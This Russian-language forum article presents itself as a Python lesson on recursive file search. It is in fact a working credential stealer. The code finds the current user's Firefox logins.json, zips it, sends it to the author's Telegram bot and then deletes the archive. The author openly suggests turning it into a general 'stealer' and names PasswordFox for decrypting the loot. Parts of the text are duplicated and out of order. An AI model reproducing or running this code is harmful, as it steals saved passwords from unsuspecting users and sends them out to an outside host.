СТАТЬЯ
Рекурсия и поиск нужных файлов
[ обложка статьи ]
Режим чтения
Прежде чем переходить к коду, стоит отметить: рекурсивный поиск файлов — задача, которую можно решить не только программно. В Linux-мире для этого давно существуют готовые инструменты: find ищет файлы по дереву каталогов с любыми фильтрами, tree и ls -R наглядно показывают структуру вложенных папок, а grep и его аналоги (ack, rg, ag, pt, git grep) позволяют искать рекурсивно уже по содержимому файлов. Однако у консольных утилит есть ограничение — они привязаны к конкретной системе и не встраиваются в свою программу. Если же нужно автоматизировать процесс — например, найти файл с заранее неизвестным путём и что-то с ним сделать внутри своего скрипта, — удобнее реализовать поиск средствами языка программирования. Именно такой подход и разберём ниже на примере Python.
На каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Getpass поможет нам определить имя пользователя, а glob найдет файл. Все остальное уже знакомо и не первый раз встречается в моем коде. Далее нам нужно задать переменные, с которыми будет работать в дальнейшем. А начнем с подключения бота:
А далее начинается самое интересное. Используя рекурсивный метод поиска файлов мы создадим список с расположением нашего файла. Выглядит он примерно так:
Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Но в дальнейшем наша программа не сможет работать с таким форматом, поэтому переводим его в более читаемый, удаляя скобки и кавычки:
Остается добавить в архив полученный файл и отправить его удобным путем. Для этого потребуется zipfile:
Ну и в итоге завершаем наш код при помощи отправки всего добытого в Telegram:
Но у многих могут возникнуть недочеты и вопросы. Как это применять? Вы можете на основе этого создать свой стиллер. Для этого заставьте программу искать в папке не конкретный файл, а расширения, что имеются там.
Восстановить данные после получения поможет PasswordFox. Но важно помнить, что программа копирует весь каталог включая папки. Проще говоря вы получите полный путь к данным. Будьте осторожны и рассчитывайте данные перед отправкой, чтобы избежать ошибок.
Введение
Добрый вечер, дорогие форумчане. Давно не писал сюда контента, но вот пришел момент поделиться интересным материалам. Совсем недавно задумался над тем, как найти нужный файл в системе используя лишь среду разработки и прямые руки. Допустим вы хотите взять интересный файл и отправить его себе в любое место. Знаете примерное расположения но проблема заключается в том, что путь известен частично. И в данной статье мы постараемся решить проблему с поиском файлов используя рекурсивный подход к решению задачи.Основная часть
Для примера я постараюсь найти и отправить себе файл логинов (logins.json) из браузера Firefox. Расположение по которому находиться данный файл выглядит примерно так:C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-releaseНа каждом устройстве папка имеет разное название, это и затрудняет доступ к файлу. По мимо этого мы должны знать имя пользователя, что зарегистрирован в системе. Для этого будем использовать небольшое количество библиотек и 32 строчки кода. Ну а отправку данных осуществим в мой любимый Telegram при помощи обычного бота. Как его создать вы можете прочесть в сети, поэтому заострять внимания не стану. Чтобы не превышать лимит отправки сообщения добавим в архив данные. Чтобы было меньше слов приступим к делу. Сначала импортируем библиотеки:
Python:
import getpass
import telebot
import glob
import zipfile
import os
Python:
bot = telebot.TeleBot("token")
['C:\Users\AppData\Roaming\Mozilla\Firefox\Profiles\набор_символов.default-release']Многим данный вид списка может быть неизвестный, носит названия он кортеж (последовательность неизменяемых объектов). Теперь переходим к созданию такого формата пути вместе с нашим файлом:
Python:
name = getpass.getuser() # Узнаем имя пользователя
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\logins.json", recursive=True)
Python:
cookies = ''.join(save)
Python:
archive = zipfile.ZipFile(r'C:\Temp\backup.zip', 'w') # Можно указать свой путь
archive.write(cookies)
archive.close()
Python:
@bot.message_handler(commands=['start'])
def start_message(message):
upfile = open("C:\\Temp\\backup.zip", "rb")
bot.send_document(message.chat.id, upfile)
upfile.close()
os.remove("C:\\Temp\\backup.zip")
bot.stop_polling()
bot.polling()
Python:
import getpass
import glob
name = getpass.getuser()
save = glob.glob(f"C:\\Users\\{name}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\**\\**.json", recursive=True)
print(save)
Вывод
В этой небольшой статье я постарался максимально точно поделиться своим опытом, что может предотвратить множество ошибок и вопросов. Надеюсь данная информация была полезна вам.
AI-выжимка
по разделам
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Комментарии
8